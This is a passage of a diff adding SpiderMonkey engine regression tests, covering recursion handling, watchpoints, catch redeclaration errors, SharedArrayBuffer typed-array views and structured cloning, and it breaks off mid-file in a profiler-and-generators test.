+var inversehard = Object.create(inverse);
+expect.expected = inversehard;
+inversehard.x = "setting through a setter with a proxy on the proto chain";
+inversehard.y = 6;
+reportCompare(5, inverse.y, "inverse.y remains as it was");
+reportCompare(6, inversehard.y, "shadowing works native -> proxy");
+
+inversehard.__proto__ = { 'passed': true }
+reportCompare(true, inversehard.passed, "can set native.__proto__ through a proxy");
diff --git a/js/src/tests/js1_8_5/extensions/recursion.js b/js/src/tests/js1_8_5/extensions/recursion.js
new file mode 100644
index 000000000..339e11202
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/recursion.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Christian Holler <decoder@own-hero.net>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 622167;
+var summary = 'Handle infinite recursion';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function eval() { eval(); }
+
+function DoWhile_3()
+{
+ eval();
+}
+
+try
+{
+ DoWhile_3();
+}
+catch(e) { }
+
+var r;
+function f()
+{
+ r = arguments;
+ test();
+ yield 170;
+}
+
+function test()
+{
+ function foopy()
+ {
+ try
+ {
+ for (var i in f());
+ }
+ catch (e)
+ {
+ gc();
+ }
+ }
+ foopy();
+}
+test();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/js1_8_5/extensions/redeclaration-of-catch-warning.js b/js/src/tests/js1_8_5/extensions/redeclaration-of-catch-warning.js
new file mode 100644
index 000000000..30d1a201e
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/redeclaration-of-catch-warning.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!xulRuntime.shell)
+//
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 622646;
+var summary = "Shadowing an exception identifier in a catch block with a " +
+ "|const| or |let| declaration should throw an error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+options("strict");
+
+function assertRedeclarationErrorThrown(expression)
+{
+ try
+ {
+ evaluate(expression);
+ throw new Error("Redeclaration error wasn't thrown");
+ }
+ catch(e)
+ {
+ assertEq(e.message.indexOf("catch") > 0, true,
+ "wrong error, got " + e.message);
+ }
+}
+
+assertRedeclarationErrorThrown("try {} catch(e) { const e = undefined; }");
+assertRedeclarationErrorThrown("try {} catch(e) { let e; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/extensions/regress-558541.js b/js/src/tests/js1_8_5/extensions/regress-558541.js
new file mode 100644
index 000000000..a6a40037a
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-558541.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jeff Walden <jwalden+code@mit.edu>
+ */
+
+options("strict");
+for (var i = 0; i < 5; i++)
+ Boolean.prototype = 42;
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/extensions/regress-604781-1.js b/js/src/tests/js1_8_5/extensions/regress-604781-1.js
new file mode 100644
index 000000000..a7c43f95d
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-604781-1.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var watcherCount, setterCount;
+function watcher(id, oldval, newval) { watcherCount++; return newval; }
+function setter(newval) { setterCount++; }
+
+var p = { set x(v) { setter(v); } };
+p.watch('x', watcher);
+
+watcherCount = setterCount = 0;
+p.x = 2;
+assertEq(setterCount, 1);
+assertEq(watcherCount, 1);
+
+var o = Object.defineProperty({}, 'x', { set:setter, enumerable:true, configurable:true });
+o.watch('x', watcher);
+
+watcherCount = setterCount = 0;
+o.x = 2;
+assertEq(setterCount, 1);
+assertEq(watcherCount, 1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-604781-2.js b/js/src/tests/js1_8_5/extensions/regress-604781-2.js
new file mode 100644
index 000000000..7aba4a274
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-604781-2.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var log;
+function watcher(id, old, newval) { log += 'watcher'; return newval; }
+var o = { set x(v) { log += 'setter'; } };
+o.watch('x', watcher);
+Object.defineProperty(o, 'x', {value: 3, writable: true});
+log = '';
+o.x = 3;
+assertEq(log, 'watcher');
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-1.js b/js/src/tests/js1_8_5/extensions/regress-627984-1.js
new file mode 100644
index 000000000..a3726630a
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-627984-1.js
@@ -0,0 +1,16 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// See bug 627984, comment 17, item 1.
+var obj;
+var methods = [];
+for (var i = 0; i < 2; i++) {
+ obj = {m: function () { return this.x; }};
+ obj.watch("m", function (id, oldval, newval) { methods[i] = oldval; });
+ obj.m = 0;
+}
+assertEq(typeof methods[0], "function");
+assertEq(typeof methods[1], "function");
+assertEq(methods[0] !== methods[1], true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-2.js b/js/src/tests/js1_8_5/extensions/regress-627984-2.js
new file mode 100644
index 000000000..c4f1b508c
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-627984-2.js
@@ -0,0 +1,15 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// See bug 627984, comment 17, item 2.
+var obj = {};
+var x;
+obj.watch("m", function (id, oldval, newval) {
+ x = this.m;
+ return newval;
+ });
+delete obj.m;
+obj.m = function () { return this.method; };
+obj.m = 2;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-3.js b/js/src/tests/js1_8_5/extensions/regress-627984-3.js
new file mode 100644
index 000000000..cbe4e10fa
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-627984-3.js
@@ -0,0 +1,14 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Don't write string value to method slot.
+// See bug 627984, comment 17, item 2.
+var obj = {};
+obj.watch("m", function (id, oldval, newval) {
+ return 'ok';
+ });
+delete obj.m;
+obj.m = function () { return this.x; };
+assertEq(obj.m, 'ok');
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-4.js b/js/src/tests/js1_8_5/extensions/regress-627984-4.js
new file mode 100644
index 000000000..bbc017ffb
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-627984-4.js
@@ -0,0 +1,15 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// See bug 627984, comment 17, item 3.
+var obj = {};
+obj.watch("m", function (id, oldval, newval) {
+ delete obj.m;
+ obj.m = function () {};
+ return newval;
+ });
+delete obj.m;
+obj.m = 1;
+assertEq(obj.m, 1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-5.js b/js/src/tests/js1_8_5/extensions/regress-627984-5.js
new file mode 100644
index 000000000..704d8421c
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-627984-5.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Bug 627984 comment 11.
+var o = ({});
+o.p = function() {};
+o.watch('p', function() { });
+o.q = function() {}
+delete o.p;
+o.p = function() {};
+assertEq(o.p, void 0);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-6.js b/js/src/tests/js1_8_5/extensions/regress-627984-6.js
new file mode 100644
index 000000000..cb1a0fca9
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-627984-6.js
@@ -0,0 +1,15 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Bug 627984 description.
+var o = Array;
+o.p = function() {};
+o.watch('p', function() { });
+for(var x in o) {
+ o[x];
+}
+delete o.p;
+o.p = function() {};
+assertEq(o.p, void 0);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-7.js b/js/src/tests/js1_8_5/extensions/regress-627984-7.js
new file mode 100644
index 000000000..b13a0e912
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-627984-7.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// See bug 627984 comment 20.
+var obj = {m: function () {}};
+obj.watch("m", function () { throw 'FAIL'; });
+var f = obj.m; // don't call the watchpoint
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-631723.js b/js/src/tests/js1_8_5/extensions/regress-631723.js
new file mode 100644
index 000000000..f7c755603
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-631723.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var o = {a:1, b:2};
+o.watch("p", function() { return 13; });
+delete o.p;
+o.p = 0;
+assertEq(o.p, 13);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-636697.js b/js/src/tests/js1_8_5/extensions/regress-636697.js
new file mode 100644
index 000000000..6b3b1de37
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-636697.js
@@ -0,0 +1,11 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = {set p(x) {}};
+a.watch('p', function () {});
+var b = Object.create(a);
+b.watch('p', function () {});
+delete b.p;
+b.p = 0;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-636818.js b/js/src/tests/js1_8_5/extensions/regress-636818.js
new file mode 100644
index 000000000..9fa1bc379
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-636818.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+a = evalcx('');
+a.__proto__ = ''.__proto__;
+a.length = 3; // don't assert
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-637985.js b/js/src/tests/js1_8_5/extensions/regress-637985.js
new file mode 100644
index 000000000..305bfc820
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-637985.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var obj = {};
+obj.watch(-1, function(){});
+obj.unwatch("-1"); // don't assert
+
+reportCompare(0, 0, 'ok'); \ No newline at end of file
diff --git a/js/src/tests/js1_8_5/extensions/regress-645160.js b/js/src/tests/js1_8_5/extensions/regress-645160.js
new file mode 100644
index 000000000..933d3e261
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-645160.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function potatoMasher(obj, arg) { this.eval(arg); }
+potatoMasher(this, "var s = Error().stack");
+assertEq(/potatoMasher/.exec(s) instanceof Array, true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-650753.js b/js/src/tests/js1_8_5/extensions/regress-650753.js
new file mode 100644
index 000000000..a518ec52a
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-650753.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var x = {}, h = new WeakMap;
+h.set(x, null);
+gc();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-677589.js b/js/src/tests/js1_8_5/extensions/regress-677589.js
new file mode 100644
index 000000000..0bdb2e79f
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-677589.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+try {
+ clone(null); // don't crash
+} catch (exc if exc instanceof TypeError) {
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-677924.js b/js/src/tests/js1_8_5/extensions/regress-677924.js
new file mode 100644
index 000000000..2323fab4f
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-677924.js
@@ -0,0 +1,14 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+try {
+ version(4096); // don't assert
+} catch (exc) {
+}
+
+try {
+ version(-1); // don't assert
+} catch (exc) {
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-691746.js b/js/src/tests/js1_8_5/extensions/regress-691746.js
new file mode 100644
index 000000000..26f732d07
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-691746.js
@@ -0,0 +1,11 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var obj = {};
+try {
+ obj.watch(QName(), function () {});
+} catch (exc) {
+}
+gc();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/regress-696109.js b/js/src/tests/js1_8_5/extensions/regress-696109.js
new file mode 100644
index 000000000..4a56340d3
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/regress-696109.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Dave Herman <dherman@mozilla.com>
+ */
+
+// Bug 696109 - fixed a precedence bug in with/while nodes
+Reflect.parse("with({foo})bar");
+Reflect.parse("while({foo})bar");
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/extensions/selfhosted-detecting-strict.js b/js/src/tests/js1_8_5/extensions/selfhosted-detecting-strict.js
new file mode 100644
index 000000000..cb4c026ea
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/selfhosted-detecting-strict.js
@@ -0,0 +1,27 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 843004;
+var summary =
+ "Don't emit a strict warning for the undefined-property detection pattern in self-hosted code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+options("strict", "werror");
+
+// Don't strict-warn (and throw, because of strict) when self-hosted code uses
+// detecting-safe undefined-property accesses (|options.weekday !== undefined|
+// and similar in ToDateTimeOptions, to be precise).
+new Date().toLocaleString("en-US", {});
+
+// If we get here, the test passed.
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/js1_8_5/extensions/set-property-non-extensible.js b/js/src/tests/js1_8_5/extensions/set-property-non-extensible.js
new file mode 100644
index 000000000..3d077356a
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/set-property-non-extensible.js
@@ -0,0 +1,30 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 600128;
+var summary =
+ "Properly handle attempted addition of properties to non-extensible objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = Object.freeze({});
+for (var i = 0; i < 10; i++)
+ print(o.u = "");
+
+Object.freeze(this);
+for (let j = 0; j < 10; j++)
+ print(u = "");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/js1_8_5/extensions/sharedtypedarray.js b/js/src/tests/js1_8_5/extensions/sharedtypedarray.js
new file mode 100644
index 000000000..68388ed86
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/sharedtypedarray.js
@@ -0,0 +1,263 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Minimal test cases. Note that on 64-bit a SharedArrayBuffer is
+// very expensive under these rules - a 4GB area is reserved for it.
+// So don't go allocating a ton of them.
+//
+// These tests cannot test that sharing works across workers. There
+// are or will be tests, in dom/workers, that do that.
+
+if (!this.SharedArrayBuffer) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+var b;
+
+function testSharedArrayBuffer() {
+ b = new SharedArrayBuffer("4096"); // Test string conversion, too
+ assertEq(b instanceof SharedArrayBuffer, true);
+ assertEq(b.byteLength, 4096);
+
+ b.fnord = "Hi there";
+ assertEq(b.fnord, "Hi there");
+
+ SharedArrayBuffer.prototype.abracadabra = "no wishing for wishes!";
+ assertEq(b.abracadabra, "no wishing for wishes!");
+
+ // SharedArrayBuffer is not a conversion operator, not even for instances of itself
+ assertThrowsInstanceOf(() => SharedArrayBuffer(b), TypeError);
+
+ // can't convert any other object either
+ assertThrowsInstanceOf(() => SharedArrayBuffer({}), TypeError);
+
+ // byteLength can be invoked as per normal, indirectly
+ assertEq(Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get.call(b), 4096);
+
+ // however byteLength is not generic
+ assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get.call({}), TypeError);
+
+}
+
+function testSharedTypedArray() {
+ var x1 = new Int8Array(b);
+ var x2 = new Int32Array(b);
+
+ assertEq(ArrayBuffer.isView(x1), true); // ArrayBuffer.isView() works even if the buffer is a SharedArrayBuffer
+ assertEq(ArrayBuffer.isView(x2), true);
+ assertEq(ArrayBuffer.isView({}), false);
+
+ assertEq(x1.buffer, b);
+ assertEq(x2.buffer, b);
+
+ assertEq(x1.byteLength, b.byteLength);
+ assertEq(x2.byteLength, b.byteLength);
+
+ assertEq(x1.byteOffset, 0);
+ assertEq(x2.byteOffset, 0);
+
+ assertEq(x1.length, b.byteLength);
+ assertEq(x2.length, b.byteLength / 4);
+
+ var x3 = new Int8Array(b, 20);
+ assertEq(x3.length, b.byteLength - 20);
+ assertEq(x3.byteOffset, 20);
+
+ var x3 = new Int32Array(b, 20, 10);
+ assertEq(x3.length, 10);
+ assertEq(x3.byteOffset, 20);
+
+ // Mismatched type
+ assertThrowsInstanceOf(() => Int8Array(x2), TypeError);
+
+ // Unconvertable object
+ assertThrowsInstanceOf(() => Int8Array({}), TypeError);
+
+ // negative start
+ assertThrowsInstanceOf(() => new Int8Array(b, -7), RangeError);
+
+ // not congruent mod element size
+ assertThrowsInstanceOf(() => new Int32Array(b, 3), RangeError);
+
+ // start out of range
+ assertThrowsInstanceOf(() => new Int32Array(b, 4104), RangeError);
+
+ // end out of range
+ assertThrowsInstanceOf(() => new Int32Array(b, 4092, 2), RangeError);
+
+ // Views alias the storage
+ x2[0] = -1;
+ assertEq(x1[0], -1);
+ x1[0] = 1;
+ x1[1] = 1;
+ x1[2] = 1;
+ x1[3] = 1;
+ assertEq(x2[0], 0x01010101);
+
+ assertEq(x2[5], 0);
+ x3[0] = -1;
+ assertEq(x2[5], -1);
+
+ // Out-of-range accesses yield undefined
+ assertEq(x2[1023], 0);
+ assertEq(x2[1024], undefined);
+ assertEq(x2[2047], undefined);
+}
+
+function testSharedTypedArrayMethods() {
+ var v = new Int32Array(b);
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+
+ // Rudimentary tests - they don't test any boundary conditions
+
+ // subarray
+ var w = v.subarray(10, 20);
+ assertEq(w.length, 10);
+ for ( var i=0 ; i < w.length ; i++ )
+ assertEq(w[i], v[i+10]);
+ for ( var i=0 ; i < w.length ; i++ )
+ w[i] = -w[i];
+ for ( var i=0 ; i < w.length ; i++ )
+ assertEq(w[i], v[i+10]);
+
+ // copyWithin
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+ v.copyWithin(10, 20, 30);
+ for ( var i=0 ; i < 10 ; i++ )
+ assertEq(v[i], i);
+ for ( var i=10 ; i < 20 ; i++ )
+ assertEq(v[i], v[i+10]);
+
+ // set
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+ v.set([-1,-2,-3,-4,-5,-6,-7,-8,-9,-10], 5);
+ for ( var i=5 ; i < 15 ; i++ )
+ assertEq(v[i], -i+4);
+
+ // In the following two cases the two arrays will reference the same buffer,
+ // so there will be an overlapping copy.
+ //
+ // Case 1: Read from lower indices than are written
+ v.set(v.subarray(0, 7), 1);
+ assertEq(v[0], 0);
+ assertEq(v[1], 0);
+ assertEq(v[2], 1);
+ assertEq(v[3], 2);
+ assertEq(v[4], 3);
+ assertEq(v[5], 4);
+ assertEq(v[6], -1);
+ assertEq(v[7], -2);
+ assertEq(v[8], -4);
+ assertEq(v[9], -5);
+
+ // Case 2: Read from higher indices than are written
+ v.set(v.subarray(1, 5), 0);
+ assertEq(v[0], 0);
+ assertEq(v[1], 1);
+ assertEq(v[2], 2);
+ assertEq(v[3], 3);
+ assertEq(v[4], 3);
+ assertEq(v[5], 4);
+ assertEq(v[6], -1);
+ assertEq(v[7], -2);
+ assertEq(v[8], -4);
+ assertEq(v[9], -5);
+}
+
+function testClone1() {
+ var sab1 = b;
+ var blob = serialize(sab1, []);
+ var sab2 = deserialize(blob);
+ if (typeof sharedAddress != "undefined")
+ assertEq(sharedAddress(sab1), sharedAddress(sab2));
+}
+
+function testClone2() {
+ var sab = b;
+ var ia1 = new Int32Array(sab);
+ var blob = serialize(ia1, []);
+ var ia2 = deserialize(blob);
+ assertEq(ia1.length, ia2.length);
+ assertEq(ia1.buffer instanceof SharedArrayBuffer, true);
+ if (typeof sharedAddress != "undefined")
+ assertEq(sharedAddress(ia1.buffer), sharedAddress(ia2.buffer));
+ ia1[10] = 37;
+ assertEq(ia2[10], 37);
+}
+
+// Serializing a SharedArrayBuffer should fail if we've set its flag to 'deny' or if
+// the flag is bogus.
+
+function testNoClone() {
+ // This just tests the API in serialize()
+ assertThrowsInstanceOf(() => serialize(b, [], {SharedArrayBuffer: false}), Error);
+
+ // This tests the actual cloning functionality - should fail
+ assertThrowsInstanceOf(() => serialize(b, [], {SharedArrayBuffer: 'deny'}), TypeError);
+
+ // Ditto - should succeed
+ assertEq(typeof serialize(b, [], {SharedArrayBuffer: 'allow'}), "object");
+}
+
+// Eventually, this will be prohibited, but for now, allow the SAB to
+// appear in the transfer list. See bug 1302036 and bug 1302037.
+
+function testRedundantTransfer() {
+ var sab1 = b;
+ var blob = serialize(sab1, [sab1]);
+ var sab2 = deserialize(blob);
+ if (typeof sharedAddress != "undefined")
+ assertEq(sharedAddress(sab1), sharedAddress(sab2));
+}
+
+function testApplicable() {
+ var sab = b;
+ var x;
+
+ // Just make sure we can create all the view types on shared memory.
+
+ x = new Int32Array(sab);
+ assertEq(x.length, sab.byteLength / Int32Array.BYTES_PER_ELEMENT);
+ x = new Uint32Array(sab);
+ assertEq(x.length, sab.byteLength / Uint32Array.BYTES_PER_ELEMENT);
+
+ x = new Int16Array(sab);
+ assertEq(x.length, sab.byteLength / Int16Array.BYTES_PER_ELEMENT);
+ x = new Uint16Array(sab);
+ assertEq(x.length, sab.byteLength / Uint16Array.BYTES_PER_ELEMENT);
+
+ x = new Int8Array(sab);
+ assertEq(x.length, sab.byteLength / Int8Array.BYTES_PER_ELEMENT);
+ x = new Uint8Array(sab);
+ assertEq(x.length, sab.byteLength / Uint8Array.BYTES_PER_ELEMENT);
+
+ // Though the atomic operations are illegal on Uint8ClampedArray and the
+ // float arrays, they can still be used to create views on shared memory.
+
+ x = new Uint8ClampedArray(sab);
+ assertEq(x.length, sab.byteLength / Uint8ClampedArray.BYTES_PER_ELEMENT);
+
+ x = new Float32Array(sab);
+ assertEq(x.length, sab.byteLength / Float32Array.BYTES_PER_ELEMENT);
+ x = new Float64Array(sab);
+ assertEq(x.length, sab.byteLength / Float64Array.BYTES_PER_ELEMENT);
+}
+
+testSharedArrayBuffer();
+testSharedTypedArray();
+testSharedTypedArrayMethods();
+testClone1();
+testClone2();
+testNoClone();
+testRedundantTransfer();
+testApplicable();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/shell.js b/js/src/tests/js1_8_5/extensions/shell.js
new file mode 100644
index 000000000..41bf0af07
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/shell.js
@@ -0,0 +1,115 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+
+// The Worker constructor can take a relative URL, but different test runners
+// run in different enough environments that it doesn't all just automatically
+// work. For the shell, we use just a filename; for the browser, see browser.js.
+var workerDir = '';
+
+// explicitly turn on js185
+// XXX: The browser currently only supports up to version 1.8
+if (typeof version != 'undefined')
+{
+ version(185);
+}
+
+// Assert that cloning b does the right thing as far as we can tell.
+// Caveat: getters in b must produce the same value each time they're
+// called. We may call them several times.
+//
+// If desc is provided, then the very first thing we do to b is clone it.
+// (The self-modifying object test counts on this.)
+//
+function clone_object_check(b, desc) {
+ function classOf(obj) {
+ return Object.prototype.toString.call(obj);
+ }
+
+ function ownProperties(obj) {
+ return Object.getOwnPropertyNames(obj).
+ map(function (p) { return [p, Object.getOwnPropertyDescriptor(obj, p)]; });
+ }
+
+ function isCloneable(pair) {
+ return typeof pair[0] === 'string' && pair[1].enumerable;
+ }
+
+ function notIndex(p) {
+ var u = p >>> 0;
+ return !("" + u == p && u != 0xffffffff);
+ }
+
+ function assertIsCloneOf(a, b, path) {
+ assertEq(a === b, false);
+
+ var ca = classOf(a);
+ assertEq(ca, classOf(b), path);
+
+ assertEq(Object.getPrototypeOf(a),
+ ca == "[object Object]" ? Object.prototype : Array.prototype,
+ path);
+
+ // 'b', the original object, may have non-enumerable or XMLName
+ // properties; ignore them. 'a', the clone, should not have any
+ // non-enumerable properties (except .length, if it's an Array) or
+ // XMLName properties.
+ var pb = ownProperties(b).filter(isCloneable);
+ var pa = ownProperties(a);
+ for (var i = 0; i < pa.length; i++) {
+ assertEq(typeof pa[i][0], "string", "clone should not have E4X properties " + path);
+ if (!pa[i][1].enumerable) {
+ if (Array.isArray(a) && pa[i][0] == "length") {
+ // remove it so that the comparisons below will work
+ pa.splice(i, 1);
+ i--;
+ } else {
+ throw new Error("non-enumerable clone property " + uneval(pa[i][0]) + " " + path);
+ }
+ }
+ }
+
+ // Check that, apart from properties whose names are array indexes,
+ // the enumerable properties appear in the same order.
+ var aNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ var bNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ assertEq(aNames.join(","), bNames.join(","), path);
+
+ // Check that the lists are the same when including array indexes.
+ function byName(a, b) { a = a[0]; b = b[0]; return a < b ? -1 : a === b ? 0 : 1; }
+ pa.sort(byName);
+ pb.sort(byName);
+ assertEq(pa.length, pb.length, "should see the same number of properties " + path);
+ for (var i = 0; i < pa.length; i++) {
+ var aName = pa[i][0];
+ var bName = pb[i][0];
+ assertEq(aName, bName, path);
+
+ var path2 = path + "." + aName;
+ var da = pa[i][1];
+ var db = pb[i][1];
+ assertEq(da.configurable, true, path2);
+ assertEq(da.writable, true, path2);
+ assertEq("value" in da, true, path2);
+ var va = da.value;
+ var vb = b[pb[i][0]];
+ if (typeof va === "object" && va !== null)
+ queue.push([va, vb, path2]);
+ else
+ assertEq(va, vb, path2);
+ }
+ }
+
+ var banner = "while testing clone of " + (desc || uneval(b));
+ var a = deserialize(serialize(b));
+ var queue = [[a, b, banner]];
+ while (queue.length) {
+ var triple = queue.shift();
+ assertIsCloneOf(triple[0], triple[1], triple[2]);
+ }
+
+ return a; // for further testing
+}
diff --git a/js/src/tests/js1_8_5/extensions/sps-generators.js b/js/src/tests/js1_8_5/extensions/sps-generators.js
new file mode 100644
index 000000000..d99e93c5b
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/sps-generators.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 822041;
+var summary = "Live generators should not cache SPS state";
+
+print(BUGNUMBER + ": " + summary);
+
+function gen() {
+ var x = yield turnoff();
+ yield x;
+ yield 'bye';
+}
+
+function turnoff() {
+ print("Turning off profiler\n");
+ disableSPSProfiling();
+ return 'hi';
+}
+
+for (var slowAsserts of [ true, false ]) {
+ // The slowAssertions setting is not expected to matter
+ if (slowAsserts)
+ enableSPSProfilingWithSlowAssertions();
+ else
+ enableSPSProfiling();
+
+ g = gen();
